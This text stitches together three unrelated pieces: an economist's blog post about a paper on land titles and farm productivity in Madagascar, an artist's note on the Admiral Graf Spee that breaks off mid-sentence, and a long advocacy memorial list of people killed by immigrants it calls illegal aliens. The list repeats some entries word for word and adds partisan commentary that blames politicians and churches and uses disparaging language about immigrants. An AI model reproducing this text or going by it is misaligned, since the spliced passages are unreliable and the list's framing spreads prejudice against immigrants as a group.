This paper studies the relationship between land rights and agricultural productivity. Whereas previous studies used proxies for soil quality and instrumental variables to control for the endogeneity of land titles, the data used here include precise soil quality measurements, which in principle allow controlling for the unobserved heterogeneity between plots. Empirical results suggest that formal land rights (i.e., land titles) have no impact on productivity, but that informal land rights (i.e., landowners’ subjective perceptions of what they can and cannot do with their plots) have heterogeneous impacts on productivity.
That’s the abstract of my paper titled “The Productivity Impacts of Formal and Informal Land Rights: Evidence from Madagascar,” which has just been accepted for publication in Land Economics.
The paper is notable for a few things. First, it shows that land titles have no impact on agricultural productivity in Madagascar, a country where the US government had planned on spending $110 million dollars on various initiatives aimed at “assisting the rural population to transition from subsistence agriculture to a market economy,” including via land titling.
Second, this is one of those rare papers with a “negative finding.” I test the null hypothesis that land titles have no impact on productivity and fail to reject it. A priori, that is not a very strong finding — with 90, 95, or 99 percent of the probability mass on the null hypothesis, depending on the degree of confidence, you are considerably more likely to fail to reject than to reject it.
So to show that what I find is evidence of absence of an impact of land titles on productivity rather than face absence of evidence on the impact of land titles on productivity, I’ve had to conduct every possible robustness check with my data.
Because of the negative finding, the paper went through three rounds of revision — or four submissions total. As someone who does not yet have tenure and for whom time is of the essence, I will always be very grateful to the editor of Land Economics for turning manuscripts around in less than two months (a rarity in economics, where six months is the norm and where I’ve personally experienced up to 11 months for a first response.)
For those of you who are more technically minded, here is a full summary of the paper’s contributions, from the introduction:
First and foremost, the inclusion of precise soil quality measurements allows accounting for an important source of unobserved heterogeneity between plots, which in turn allows eliminating an important source of bias in the estimated relationship between land titles and agricultural productivity – a source of bias that is present in almost all observational studies of the impacts of land rights.
Second, the core finding in this paper – that land titles do not increase productivity in this context – flies in the face of the dominant development discourse, which almost takes the claim that land titles improve productivity as a truism.
Third, this paper studies the impact of informal land rights (i.e., subjective landowner perceptions regarding what they can and cannot do with their plots) alongside formal land rights (i.e., land titles) and shows that these informal land rights have heterogeneous, sometimes unexpected impacts on productivity.
Taken together then, the inclusion of household fixed effects, precise soil quality measurements, as well as formal and informal land rights paint a picture of productivity impacts of land rights that is as complete as possible in the absence of data derived from an experiment specifically aimed at studying the impact of land rights on productivity.German pocket battleship Admiral Graf Spee during The Battle of the River Plate. That smoke from the port side is from burning heavy cruiser Exeter.
Can’t say I did everything properly. I drew such battlescape first time, after all, so entire work progress was like chain of fails.
Some background information.
Maximilian von Spee was vice admiral of Imperial German Navy. In 1887–88 he commanded the Kamerun ports, in German West Africa. After that he commanded by group of recon ships, later he was in Navy HQ. He was given command of the German East Asia Squadron based in Tsingtao, China, in 1912. When World War I started, he ordered light cruiser Emden to harass enemies’ communication lines. Spee himself with the rest of the squadron headed to the shores of Chile, where he destroyed armoured cruisers HMS Good Hope and HMS Monmouth. After that he headed to Falkland Islands, where he expected to shell poorly protected Royal Navy base. But First Sea Lord John Fisher overdid Spee. He sent two modern battlecruisers HMS Invincible and HMS Inflexible to Falklands. Their presence decided the outcome of the followed battle. On 8 December 1914Spee’s squadron was destroyed. Nobody survived on flagship ‘Scharnhorst’. Spee and two his sons died.
The last of three German Deutchland-class pocket battleships was commissioned in 1936 and was named after Maximilian von Spee. The main idea of this class
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walk Reflector, April 1, 2017; Obituary, Toledo Blade, March 29, 2017. 1st Anniversary Tribute Listing Baby Thorne, Unborn Killed April 24, 2016 Son of Brandy & Grandson of Terry Killed by Jose Fransisco Flores Santos, 29 1st Anniversary Tribute Listing Brandy Lee Thorne, 22 Killed April 24, 2016 Mother, daughter, sister & friend Killed by Jose Fransisco Flores Santos, 29 Jose Fransisco Flores Santos, 29, is another arrogant and self-centered illegal alien from El Salvador with no concern for American lives. Flores Santos was arrested for causing the March 31, 2016 motor vehicle accident which resulted in the injury and eventual death of Brandy Lee Thorne,22, and her unborn child on April 24, 2016. Ms. Thorne was a young mother on her way home from work at an Aurora, Ohio restaurant, when Flores Santos is alleged to have been driving intoxicated and crossed the center line hitting Thorne's vehicle head-on. Thorne, who was pregnant with her second child, was severely injured and was transported to Hillcrest Hospital but died a few weeks later. Her unborn child died too. Flores-Santos reportedly was driving a vehicle owned by someone he knew but took the car without permission. Flores Santos' passengers [of unknown legal status in the U.S.] were also injured and transported to local hospitals. Although Flores-Santos' admitted to police that he was in the U.S. illegally, he was somehow able to get a drivers license (which at the time of this accident, had been suspended for a unknown reason). Flores-Santos was indicted by a Portage County Grand Jury and charged with a number of felonies and misdemeanors including aggravated vehicular homicide. He was held in the Portage County Jail and Judge Laurie Pittman set Flores-Santos' bond at $100,000. Update: Since that time, Santos was found guilty and sentenced to 20 years in prison. [OJJPAC note: Thanks to the abysmal open US border policy of President Obama, this criminal was able to easily enter the U.S., obtain housing, apparently work illegally at a local Mexican restaurant, and then kill Americans and rip apart her loving American family. This story will likely never be told at the many misguided churches, such as the Catholic Church, that aid and abet illegal aliens in order to fill their empty churches, pews, and collection plates. Sources: Brandy Lee Thorne obituary, 4-30-16; Woman, unborn baby die a few weeks after Aurora crash, The Aurora Advocate 5-4-16; Driver in fatal Aurora crash indicted, By Dave O'Brien, Record-Courier Reporter, 5-18-16; and OJJPAC conducted personal interviews and original research. Sergeant Corey Blake Wride,44 September 28, 1969-January 30, 2014 Husband, Father, Son, Brother, Grandfather, & Friend Murdered by suspect Jose Angel Garcia-Jauregui, 27 Jose Angel Garcia-Jauregui, 27, a Mexican illegal alien, was shot and killed after he engaged Utah law enforcement in a fire fight after he shot and killed Sergeant Cory Wride of the Utah County Sheriff's Office and seriously wounded another officer.
Sergeant Wride was shot and killed while checking on a vehicle in which Jauregui and his 17-year-old accomplice occupied.
It is believed that Jauregui used a rifle to opened fire on Wride as he pulled behind Jauregui's vehicle, killing Wride before he exited his patrol car. Before Sergeant Wride was killed, he relayed a description of the assailant's vehicle to a department dispatcher. Another sheriff's deputy was then able to identify Jaurengui's vehicle and continue the pursuit. However, that officer was also shot in the head by Jauregui. (That officer survived his head wound.)
Jauregui continued to flee by carjacking a vehicle until that vehicle crashed after a pursuit and shoot-out with officers from the Juab County Sheriff's Department. Jauregui was wounded and taken to a hospital where he later died.
Megan Grunwald, Jaurengui's 17-year-old girlfriend and accomplice was arrested, charged, and convicted for her role in the duo's crime spree. She was sentenced to 30 years to life in prison.
Before Sergeant Wride's death, he had served nearly two decades with the Utah County Sheriff's Office. Sergeant Wride is survived by his wife Nannette, his children, eight grandchildren, his parents, siblings, and numerous other relatives and friends. His full obituary can be viewed here. He is buried in Spanish Fork City Cemetery. Fork, Utah. Sources: Cory Blake Wride Obituary; Teenage girl charged with murder in shooting of Sgt. Cory Wride, Daily Herald, 2-18-14; Officer Down Memorial Page; Suspect in Utah County Shooting Has Died, The Salt Lake Tribune, 2-1-14. Dennielle N."Nikki" Schermock, 25 15th Anniversary Tribute Listing 5-24-1976 to 11-17-2001 Mother, daughter, sibling & friend Allegedly killed by Fernado Reyes Fernado Reyes, an illegal alien from Mexico, remains a wanted fugitive 15 years after his implication in the November 17, 2001 death of Dennielle "Nikki" Schermock, 25.
According to Vickie Lyon, the victim's mother, Fernado Reyes was high on cocaine and intoxicated and was driving in the wrong direction on Poinciana Boulevard. Reyes pickup truck smashed head-on into Ms. Schermock 1988 Toyota. The crash instantly killed the young mother. Ms. Schermock's two young children, Brieanna, 4, and 16-months-old Brandon were also in their mother's car. The 4-year-old sustained serious injuries too but paramedics were able to revive her at the crash scene. Schermock's toddler was in a car-seat that Lyon said saved the young boy's life, despite various skin abrasions. Both children were life-flighted to an Orlando, FL Trauma Center, where Lyon's granddaughter underwent emergency surgery.
Vickie Lyon then has the horrible task of going to the local morgue to identify her daughter's violently broken body--a task that is every parents worst nightmare--and an experience that haunts Ms. Lyon to this day.
Fernado Reyes was treated at an Orlando Medical Center and then at a rehabilitation center. Lyon says that Reyes's family "snuck him out in the middle of the night" [of the rehab center] and Reyes has been a missing fugitive from justice ever since. Lyon believes that Reyes was basically "allowed" to escape. She believes that the Florida Highway Patrol and the State of Florida's lax investigation and control over Reyes was purposeful because they didn't want to deal with the sticky issue of his illegal immigration status and Mexican authorities. "It was like dealing with the Keystone Cops" said Lyon. Ms. Schermock was a member of the New Community Baptist Church. She was survived by her parents, her brothers, grandparents, and her children. She is missed by her family members and many friends. Source: Emailed letter, by Vickie Lyon, Mother of Dennielle Nikole Schermock, 10-18-16; Mother Dies, 2 Children Hurt In Head-on Crash, By Anthony Colarossi, Orlando Sentinel Writer; and Obituary, Dennelle N. Schermock, Orlando Sentinel, 11-21-2001 Joshua Wilkerson, 18 6th Anniversary Tribute Listing 11-16-2010 to 11-16-2016 Son, Student & Friend M urdered by Hermilo Vildo Moralez, 19 2016 Case Update: Illegal alien Hermilo Moralez, now 24, was convicted in January, 2013, of the brutal murder of Joshua Wilkerson, 18, of Pearland, TX. Moralez beat, strangled, and tortured Joshua Wilkerson on November 16, 2010 until he died. After the young man didn't return home from school, police were notified. A search team found his burned body in a field the following day.
Moralez was sentenced to life in prison. Moralez's family are Belize nationals who entered the U.S. illegally on or about 2001, when Moralez was 10-years-old. Original entry: Hermilo Moralez, 19, a suspected illegal alien from Belize, has been arrested for the brutal murder of Joshua Wilkerson, 18, of Pearland, TX. Police say Moralez has confessed to murdering Wilkerson, who reported was a friend of Moralez and gave Moralez a ride home. Police also stated that they believe Wilkerson was first murdered, then bound and moved to a field where his body was set on fire. Sources: More Charges Filed Against Teen Killer Suspect, by Huston.com, 11-19-10; 21-year-old immigrant convicted in beating death of former Pearland classmate, by Carol Christian, Houston Cronicle, 1-29-13; Mother of Son Murdered By Illegal Alien Slams Sanctuary Cities, Politicians: 'Your Silence Speaks Volumes', by Julia Hahn and Katie McHugh, 7-21-15; Personal account by Laura Wilkerson, mother of Joshua Wilkerson. OJJPAC note: Another innocent U.S. citizen murdered because President Obama and the members of the Hispanic and Progressive Congressional caucuses work with a multitude of "non-profits" and ethnocentric groups to impede the enforcement of U.S. immigration laws. Adding insult to injury, these parties also advocate for amnesty for millions of illegal alien criminals for purely political reasons. I have personally met Joshua's mother. I have listened to her tell the horrific account of her son's death that shook me too my core. Laura Wilkerson and her family should not have had to experience this tragedy--it was preventable--and a direct result of the federal government failing to enforce US immigration laws. Eric Nathaniel "Krikit" Zepeda 5th Anniversary Tribute Listing 9-8-11 to 9-8-16 Son, Brother, Grandson & Friend Killed by
Pablo Arturo Duarte Rodriguez Sergeant Brandon Mendoza, 32 Killed May 12, 2014-2nd Anniversary Tribute Listing Son, Brother, Uncle, & Friend to many Killed by Raul Silva Corona, 42 Illegal alien Raul Silva Corona, was determined to be criminally responsible for the May 12, 2014 death of Mesa Arizona Peace Officer Brandon Mendoza, 32. Corona was drunk and driving the wrong-way on an Arizona freeway when he slammed into officer Mendoza's vehicle. The impact killed Corona and officer Mendoza, a 13-year veteran of the Mesa Police Department. The Mesa Police Department posthumously promoted Mendosa to the rank of sergeant. Sergeant Mendoza is survived by his parents, siblings, and nieces and nephews. He is remembered by those who knew him as a good police officer whom was also a valued friend and community volunteer.
OJJPAC note: I met Brandon's mother in Washington D.C. in the fall of 2015. We walked the halls of congressional offices advocating for congressional support for the enforcement of U..S. immigration laws so more innocent Americans are not killed.. Source: Wrong-way driver was drunk, fallen Mesa PD sergeant remembered, Fox TV-10, Mesa Arizona, 5-16-14; Funeral services set for Mesa Police Officer killed by wrong-way driver, By Jennifer Thomas, AZFamily.com, 5-14-14 Jamiel "Jas" Shaw, 17 (Murdered March 2nd 2008-Anniversary Listing) Son, nephew, good student, high school athlete Murdered by Pedro Espinosa, 23 Case update (11-6-12) : Los Angeles Superior Court Judge Ronald Rose accepted the jury's May, 2012 death sentence recommendation for Pedro Espinoza, the 23-year-old gangster who senselessly murdered Jamiel Shaw in 2008. 5-22-12 Conviction Update: Illegal alien gang member Pedro Espinosa, 23 has been convicted of first-degree murder on May 9, 2012. Espinosa had been arrested for the murder of Jamiel Shaw, 17, who was killed in an unprovoked March 2, 2008 attack. Shaw was brutally murdered three houses down from his family home in Los Angeles. According to the LAPD and District Attorney, 19-year-old Pedro Espinosa, has a long juvenile criminal record and is a member of of the 18th Street Gang. He is also a Mexican national in the U.S. illegally. Shockingly, Espinosa was released from jail for assault with a deadly weapon March 1, 2008, one day prior to the murder of Jaimel Shaw. Why was Espinosa given probation? Why was Espinosa not turned over to Immigration and Customs Enforcement (ICE) for deportation prior to committing any crimes in the U.S.? The Shaw family now wants the City of Los Angeles to repeal Special Order 40 which prohibited police from inquiring about Espinosa's immigration status--and prevented his deportation back to Mexico. The repeal effort is called "Jamiel's Law" and more information is available at http://www.jamielslaw.com. Anita Shaw, Jamiel's mother, wants her son to be remembered as a hero and Christian-- a good example for young people to follow. Rumors that Shaw was a gang member seem unfair--and many supporters of the Special Order 40 repeal campaign believe the rumors are part of a smear campaign to stop repeal efforts. The fact is that Shaw was the victim and he had NO POLICE RECORD and even the police say Shaw was NOT known to hang-out with local gangs. [OJJPAC note: I met with the Shaw family to learn more about this tragedy. This grieving family is attempting to prevent more murders by illegal alien gang member in Los Angeles and in your neighborhood. I encourage you to visit their web site (see above link) and help support the repeal of the City of Los Angeles' Special Order 40.] Sources: NBC-TV 4, Los Angeles, 11-6-12; KNBC TV, Los Angeles, et al. Updated 9-18-08; 2-16-10 With information from the Shaw family. Photo courtesy of the Shaw family; and 5-10-12 article: Gang member convicted of killing L.A. high school football standout, The Orange County Register; KPCC 89.3 FM News 5-23-2012. Brandy Lee Thorne, 22 Mother, daughter, sister & friend Killed by Jose Fransisco Flores Santos, 29 Jose Fransisco Flores Santos, 29, is another arrogant and self-centered illegal alien from El Salvador with no concern for American lives. Flores Santos was arrested for causing the March 31, 2016 motor vehicle accident which resulted in the injury and eventual death of Brandy Lee Thorne,22, and her unborn child on April 24, 2016. Ms. Thorne was a young mother on her way home from work at an Aurora, Ohio restaurant, when Flores Santos is alleged to have been driving intoxicated and crossed the center line hitting Thorne's vehicle head-on. Thorne, who was pregnant with her second child, was severely injured and was transported to Hillcrest Hospital but died a few weeks later. Her unborn child died too. Flores-Santos reportedly was driving a vehicle owned by someone he knew but took the car without permission. Flores Santos' passengers [of unknown legal status in the U.S.] were also injured and transported to local hospitals. Although Flores-Santos' admitted to police that he was in the U.S. illegally, he was somehow able to get a drivers license (which at the time of this accident, had been suspended for a unknown reason). Flores-Santos was indicted by a Portage County Grand Jury and charged with a number of felonies and misdemeanors including aggravated vehicular homicide. He was held in the Portage County Jail and Judge Laurie Pittman set Flores-Santos' bond at $100,000. Update: Since that time, Santos was found guilty and sentenced to 20 years in prison. [OJJPAC note: Thanks to the abysmal open US border policy of President Obama, this criminal was able to easily enter the U.S., obtain housing, apparently work illegally at a local Mexican restaurant, and then kill Americans and rip apart her loving American family. This story will likely never be told at the many misguided churches, such as the Catholic Church, that aid and abet illegal aliens in order to fill their empty churches, pews, and collection plates. Sources: Brandy Lee Thorne obituary, 4-30-16; Woman, unborn baby die a few weeks after Aurora crash, The Aurora Advocate 5-4-16; Driver in fatal Aurora crash indicted, By Dave O'Brien, Record-Courier Reporter, 5-18-16; and OJJPAC conducted personal interviews and original research. Jesse Benavides, 33 Son, Father, Fiancée, Brother, & Friend Murdered by Santana Gaona, 34 Santana Gaona, a 33-year-old illegal alien had been arrested and put on tril for the 2011 murder of Jesse Benavides, 33, of Dallas, Texas. On April 16, 2015, a jury found Gaona guilty of murder and the trial judge sentenced Gaona to 50 years in prison. Jesse Benavides was shot and killed while attending a children's birthday party at a home in west Oak Cliff. Gaona shot Benavides 7 times in the back after an argument at the party. After the murder, the Benavides family found out that Gaona had been in the U.S. illegally and and been arrested for rape and was flagged for transfer to the Department of Homeland Security for deportation proceedings after release from jail. However, the FBI intervened and had the immigration hold removed because Gaona had been an FBI informant. So Gaona was eventually released from jail and remained in Dallas. The Benavides family is still attempting to get answers to their questions regarding how Gaona was allowed to remain in the U.S. after being identified as a criminal illegal alien. Jesse Benavides senseless murder has traumatized his family. He is survived by a 10-year-old son (who witnessed his father murder), his former fiancée, a brother, Juan Benavides, and other family and friends. Benavides was a loving father who enjoyed watching the Dallas Mavericks and playing practical jokes on family and friends. Source: Justice Not Served: Family of Victim Slain by Illegal Immigrant Blasts U.S. 'Negligence' for Not Enforcing Own Laws, By Sara Carter, The Blaze.com, 12-3-13; Dallas man gets 50 years in prison for fatal shooting at children's party, By Tasha Tsiaperas, The Dallas Morning News, 4-16-15 Emily Cortez 7-week-old baby Killed by Laura Flores-Santillan, 49 Laura Flores-Santillan, 49, a Mexican national illegally living in Akron Ohio, has pled guilty (via an interpreter) to child endangering and reckless homicide. In a special pleading called an Alford plea, Santillan avoids a possible life sentence for murder. Santillan now faces a maximum of 11 years in prison and deportation to Mexico after she serves her prison sentence. Santillan reportedly has lived in the US illegally for 11 years and was an in-home daycare operator. Baby Cortez was in the care of Santillan after which the baby ended up on a ventilator at the Akron Children's Hospital. Baby Cortez died several days later. Prosecutors were prepared to have medical experts testify that Baby Cortez suffered severe head injuries from blunt force trauma while in the care of Santillan.
OJJPAC note: How was it possible for Santillian to enter the US illegally, settle in Akron Ohio, and evidently run an in-home daycare without any interference from local, state, or federal authorities? This deserves further investigation to find out if authorities were aware of Santillan's presence and her apparent illegal business which resulted in the death of a baby. Source: PAkron babysitter pleads guilty in 7-week-old girl's death, by Adam Ferrise, Cleveland Plain Dealer, 8-18-15 Unborn Baby, 18 weeks Child of Sandra Lancaster Allegedly Killed by
Illegal Alien (to be named) An illegal alien driving drunk crossed into the lane of Sandra Lancaster's vehicle in 2015, causing a serious accident. Ms. Lancaster who was pregnant lost her child and the ability to have any other children due to a required hysterectomy. Ms. Lancaster's injuries also included a broken hip, pelvis, and femur and the loss of a kidney. During her recovery, she had two strokes and died twice before being resuscitated.
Her medical bills exceeded $1,000,000.00 due to the accident and now has difficulty obtaining medical insurance.
The illegal alien was deported but Ms. Lancaster is left without her child, and continuing medical issues and bills.
Source: Email from Sandra Lancaster, mother of child, sent 1-8-19. Sviatlana Dranko, 30 Wife, Daughter, Sister & Friend Murdered by Juan Jimenez-Olivera, 30 Juan Jimenez-Olivera, 30, a Mexican national illegally living in Hillsborough, New Jersey, has pled guilty to theft, aggravated arson, corpse desecration, and the strangulation murder of Sviartlana Dranko, 30. Olivera knew the victim because they both worked at the same pizzeria. Olivera strangled Dranko to death after an apparent sexual assault at her home in Hillsborough in April, 2014. Olivera is believed to have tried to cover up the theft of $6,000 and the murder by setting Dranko's body on fire. Eventually Olivera admitted to the murder, theft, and lying to police about the murder. Olivera's previous $1 million bail has been revoked and awaits sentencing. Members of victim's family attended Olivera's guilty plea court hearing. OJJPAC note: Olivera not only was in the US illegally, he was also working illegally in New Jersey. Perhaps if employers and public officials didn't make it so easy for illegal aliens to enter and remain in the US, Ms. Dranko would be alive today. Source: Illegal Immigrant admits murdering his pizza parlor co-worker and setting her body on fire, By Snejana Farberov, UK Daily Mail, 8-6-15 Spencer Golvach, 25 Son, Brother, Boyfriend, Friend, Musician Murdered by Victor Rodriquez Reyes, 31 Victor Rodriquez Reyes, 31, an illegal alien shot and killed Spencer Golvach, 25, on January 31, 2015 in Houston, Texas. According to the victim's mother, her son had just dropped off his girlfriend after they stopped to get cookies. It was his girlfriend's birthday and Golvach's last words before he was murdered were to his girlfriend..."Happy birthday. I love you. See you tomorrow." According to news reports, minutes later, Mr. Golvach's truck was stopped at a stoplight when Reyes' vehicle pulled next to Golvach. Without provocation, Reyes shot into Golvach's vehicle, hitting the young musician in the head, killing him. Reyes was later shot and killed by a Harris County Sheriff's deputy after a separate shooting incident in which Reyes was involved. The family was told that Reyes had been previously deported from the U.S. on multiple occasions. The Golvach family has since attempted to learn how Reyes was able to keep illegally returning to the U.S. After getting the runaround from both the Houston Police Department and Harris County Sheriff's office, the Golvach family hired an investigate reporter to find out more about Reyes and their son's murder. Citing an ongoing investigation, the investigative reporter who filed public records requests was unable to get the HPD or th HCSO to turn over even basic information about Reyes.
What the family did find out was that Reyes had at least two other past arrests, including a 2002 burglary and an assault in 2003. Spencer Golvach was a self-taught musician who played bass in a progressive rock band. His family, friends, and band mates described Spencer as a nice, very funny, intelligent, and trustworthy person. Spencer's parents, Dan and Julie, miss their son every day. His mother said that "her laughter, her love, and her legacy were taken in an instant." Dan Golvach was quoted as saying "I'll never get over it." Spencer is also dearly missed by his brothers, Dylan and Christopher, and numerous extended family and friends.
OJJPAC note: How many more parents, family members, and friends must suffer the consequences of local governments protecting illegal aliens with sanctuary policies, and the federal government's purposeful refusal to enforce immigration laws? Sources: Local musician shot, killed at traffic light in NW Harris County, KTRK TV 13, 2-1-15; Man killed by deputy served time for drug charge, Huston Chronicle, 2-1-15; Dan Golvach wants to know a few things about the man accused of killing his son. Law enforcement says he doesn't have the right, Houston Press, 5-13-15; Personal contact with Spencer's parents. Margaret "Peggy" Kostelnik, 60 Wife, Daughter, Sister, City Employee, Friend Allegedly murdered by Juan Emmanuel Razo, 35 Juan Emmanuel Razo, 35, a Mexican illegal alien was arrested for the July 27, 2015 rape and murder of Margaret "Peggy" Kostelnik, 60, in her Concord Twp., Ohio home. The Lake County Prosecutor's office is seeking the death penalty in the aggravated murder case. Razo allegedly broke into Kostelnik's home and shot to death the 60-year-old civil servant after raping her. Razo is also alleged to have shot and wounded a Painesville woman on the Lake Metroparks Bicycle Path and attempted the rape of a teenage girl in Helen Wyman Park in Concord Township. Razo eventually surrendered to police after a local resident called police after seeing a man with a rifle in his yard. After Razo exchanged fire with police, he surrendered according to a news report. Razo has been provided a public defender who entered a "not guilty" plea. Razo's bond was set at $10 million dollars. Source: Lake County shooting suspect arraigned, bond set at $10M, WKYC-TV3, 7-28-15; Death penalty sought in Lake County slaying, By Rylie Danylko, The Cleveland Plain Dealer, 12-18-15 Kathryn "Kate" Steinle, 32 Daughter, sister, friend Killed by Juan Garcia Zarate a/k/a Francisco Lopez Sanchez, 45 Francisco Sanchez, 45, a previously deported illegal alien from Mexico, has been charged with the July 1, 2015 murder of Kathryn Steinle, 32 of San Francisco California. Steinle family members said that Ms. Steinle, affectionately called "Kate" by friends and family, was with her father on Pier 14, a popular local gathering place, when she was shot and killed. Witnesses took photos of the killer which led them to Francisco Sanchez, who was captured later nearby Ms. Steile's home. At the time of the shooting, Sanchez reportedly had seven felony convictions and five prior deportations. He was also released from jail just months before the shooting because of the San Francisco's sanctuary policy for illegal aliens. Ms. Steinle was a 2001 graduate of Amador Valley High School and was employed by Medtronic, a medical device provider. The Steinle family is in shock over the death of their loved one. Her brother Brad said his sister was a loving and caring person who enjoyed making people laugh. OJJPAC note: The City of San Francisco has passed laws protecting illegal aliens from federal law enforcement for years. The city likely has the most pro-criminal illegal alien Sanctuary policy in the nation, protecting them from federal law enforcement efforts to identify and deport unauthorized aliens from the US. Source: Family Devastated After Woman Shot, Killed In San Francisco, By Vic Lee and Chris Nguyen, 7-2-15; In memory of Katie Steinle, it's time to finally shut down'snctury cities', by Dave Ray Opinion contibutor, The Hill, 11-2-17; Photo: Courtesy of the Steinle family which reserves its copyright. Bob Barry Jr., 58 Husband, Father, Son, Brother, Sportscaster, Friend Killed on June 20, 2015 by Gustavo Castillo Gutierrez, 26 This entry was edited and updated on February 5, 2016 to reflect Gutierrez's guilty plea and sentencing. Gustavo Castillo Gutierrez was a 26-years-old illegal alien from Mexico when he was arrested for killing Bob Barry, Jr., 58, a well-known veteran Oklahoma City sportscaster in June, 2015. Gutierrez, now 27, accepted a plea agreement and plead guilty in January, 2016 to possession of cocaine, driving without a license, and causing the death of Barry. Gutierrez has been sentenced to 10 years in prison for drug possession and 5 years for the additional charges related to the crash. Gutierrez may be deported to his native Mexico after serving his sentence. Barry was killed on June 20, 2015 in Oklahoma City after Gutierrez made an illegal U-turn into Barry's motorcycle path, causing Barry to be thrown off his motorcycle and suffer fatal internal injuries. Gutierrez reportedly had been working illegally in the U.S. as a roofer. After his arrest, Gutierrez was charged with drug possession, driving without a license, and first degree manslaughter. A police report reportedly said Gutierrez's only ID at the time was a "Mexican identification card." According to news reports, thousands of people attended Barry's funeral at the Crossings Community Church. Barry's life-long passion was sports--playing and reporting sports. At the time of his death, Barry, Jr. was Sports Director for KFOR-TV, where he worked for over 30-years. During his long sportscasting career, Barry became a beloved sports personality and celebrity in Oklahoma. Barry leveraged his popularity to help raise funds for a number of community groups and was honored as sportscaster of the year on several occasions. Barry is survived by his wife Gina, four children, and many friends. OJJPAC commentary on the Bob Barry Jr. case: While thousands of American families are being injured, maimed and killed every year, the Obama administration continues its unconstitutional immigration policies and neutering of all enforcment programs previously available to enforce U.S. Immigration laws. The Obama administration's actions are directly responsible for Barry's death. Under the Obama administration's enforcement protocols, illegal aliens can basically violate our immigration laws with impunity until public outrage forces it to act. It took Bob Barry, Jr.'s death for the U.S. Immigration and Customs Enforcement Agency (ICE) to place an immigration hold on Gutierrez, even though he was a repeat offender. Some cities and counties in the U.S. even protect illegal aliens by passing "sanctuary" policies that prohibit local law enforcement from honoring federal immigration hold requests. Some of these cities and counties also help the Mexican government by accepting and allowing the distribution of Matricula ID cards as valid ID, which they are not. I suspect this is what Gutierrez presented as ID to Oklahoma law enforcement. Like many other illegal aliens, Gutierrez has been caught entering the U.S. illegally on multiple occasions. US Border Patrol agents had captured Gutierrez three times prior to killing Barry. How did Gutierrez avoid a felony charge of illegal reentry before he even had a chance to kill Barry? Gutierrez apparently benefited from the Obama administration's "illegal alien catch and release policy." Gutierrez reportedly was "voluntarily" returned to Mexico two times in 2010 and once in 2013. Gutierrez's voluntary removal allowed him to avoid prosecution which might have deterred him from returning to the U.S. again, keeping him out of the path of Bob Barry, Jr's motorcycle of that fateful day, June 20, 2015. How many more Americans must die before we get true public servants in the offices of our three branches of federal government who are willing to protect and defend U.S. sovereignty and the citizens of the United States?
Sources: Authorities: Suspect In Crash That Killed Bob Barry Jr. Previously Deported 3 Times, TV-9, Oklahoma City, Oklahoma, 6-24-15; ICE: Man accused in Bob Barry Jr. fatal crash had been returned to Mexico 3 times, TulsaWorld.com, 6-24-15; Bob Barry Jr. Remembered: Oklahomans Mourn Sportscaster, The Inquisitor, 6-27-15; Man Charged In Crash That Killed Bob Barry Jr. Sentenced, TV-9 Oklahoma, 1-21-16; Driver in crash that killed Bob Barry Jr. pleads guilty in Oklahoma County Court, The Oklahoman, 1-21-16; Bob Barry Jr. Obituary, smithandkernke.com Michael Grubbs, 63 Father, Grandfather, Veteran, Friend Allegedly killed by Galina Kilova, 29 Galina Kilova, 29, an illegal alien from Bulgaria, was arrested for the November 24, 2014 hit-and-run death of Michael Grubbs, 63 in Las Vegas, NV. The prosecutor alleges that Kilova was driving erratically and struck Grubbs who was pushing his 18-month-old granddaughter in a stroller. Kilova faces one count of leaving the scene of an accident with injury or death. Witnesses allege that Kilova's vehicle struck Grubbs and the stroller carrying his grandchild. She then fled the scene of the crash with witnesses in temporary pursuit. Kilova got away, but witnesses were able to give police a partial plate number and one witness could identify her face. Kilova then went to her workplace but parked her now damaged car away from her usual parking place. A later tip to police from Kilova's employer may have led to Kilova turning herself into the police. Kilova entered the U.S. on a tourist visa in 2006 but illegally remained in the U.S. after the visa had expired. In 2007 she was arrested for DUI, [but apparently not placed into deportation proceedings.]
On New Years Eve, Kilova's bail was raised from 20,000 to $100,000. Immigration and Customs Enforcement have placed an immigration hold on Kilova after Grubbs death. OJJPAC note: Another one of Pres. Obama's DREAMer "children" he wants to give Amnesty to (illegal aliens up to the age of 31 are considered DREAMer kids) Sources: Family hopes for hit-and-run crash suspect to come forward, KLAS-TV 8, Las Vegas, 11-25-14; Bail increased to $100K in deadly hit-and-run crash, By Caroline Bleakley, et al., 8 News Now, 12-19-14; Woman accused in fatal hit-and-run to face jury, By David Ferrara, Las Vegas Review Journal, 12-31-14 Jamie Oxendine, 43 Father, husband, friend Allegedly killed by Rodolfo Marin Vela, 29 Rodolfo Marin Vela, a unauthorized alien illegally living in the U.S. was arrested for the January 23, 2015 deaths of Jamie Oxendine, 43, his wife, and one son. The Oxendine's lived in Red Springs, North Carolina. Vela faces multiple criminal charges, including but not limited to three counts of felony death by vehicle, driving while impaired, and driving without a license. Police allege that Vela ran a stop sign and hit the Oxendine family's SUV, killing all three occupants. Authorities also allege that Vela was intoxicated at the time of the crash. According to a news report, Raleigh police had just arrested Vela in September, 2014 for intoxication and public disturbance. The Immigration and Customs Enforcement agency of the U.S. Department of Homeland Security has reportedly verified Vela's illegal status. Vela is currently in jail and a judge set bail at $750,000. Vela's next court date is March 5, 2015. The Oxedine's have three surviving children, aged between 16 and 23. OJJPAC note: It apparently took the death of three people to get the Obama administration to have the Immigration and Customs Enforcement agency check Vela's immigration status. Most likely Vela was not taken by ICE after his September arrest was Obama's controversial hands-off illegal aliens DREAMer policy. Therefore, ICE likely would not take custody of Vela and charge him with federal immigration violations. Source: ICE: Driver charged with killing 3 in Hoke Co. in US illegally, By WNCN staff, WNCN.com, 1-26-15 Mary Ann Oxendine, 40 Wife, mother, friend Allegedly killed by Rodolfo Marin Vela, 29 Rodolfo Marin Vela, a unauthorized alien illegally living in the U.S. was arrested for the January 23, 2015 deaths of Mary Ann Oxendine, 40, her husband Jamie Oxendine, 43, and Shane Oxendine, 17. The Oxendine's lived in Red Springs, North Carolina. Vela faces multiple criminal charges, including but not limited to three counts of felony death by vehicle, driving while impaired, and driving without a license. Police allege that Vela ran a stop sign and hit the Oxendine family's SUV, killing all three occupants. Authorities also allege that Vela was intoxicated at the time of the crash. According to a news report, Raleigh police had just arrested Vela in September, 2014 for intoxication and public disturbance. The Immigration and Customs Enforcement agency of the U.S. Department of Homeland Security has reportedly verified Vela's illegal status. Vela is currently in jail and a judge set bail at $750,000. Vela's next court date is March 5, 2015. The Oxedine's have three surviving children, aged between 16 and 23. OJJPAC note: It apparently took the death of three people to get the Obama administration to have the Immigration and Customs Enforcement agency check Vela's immigration status. Most likely Vela was not taken by ICE after his September 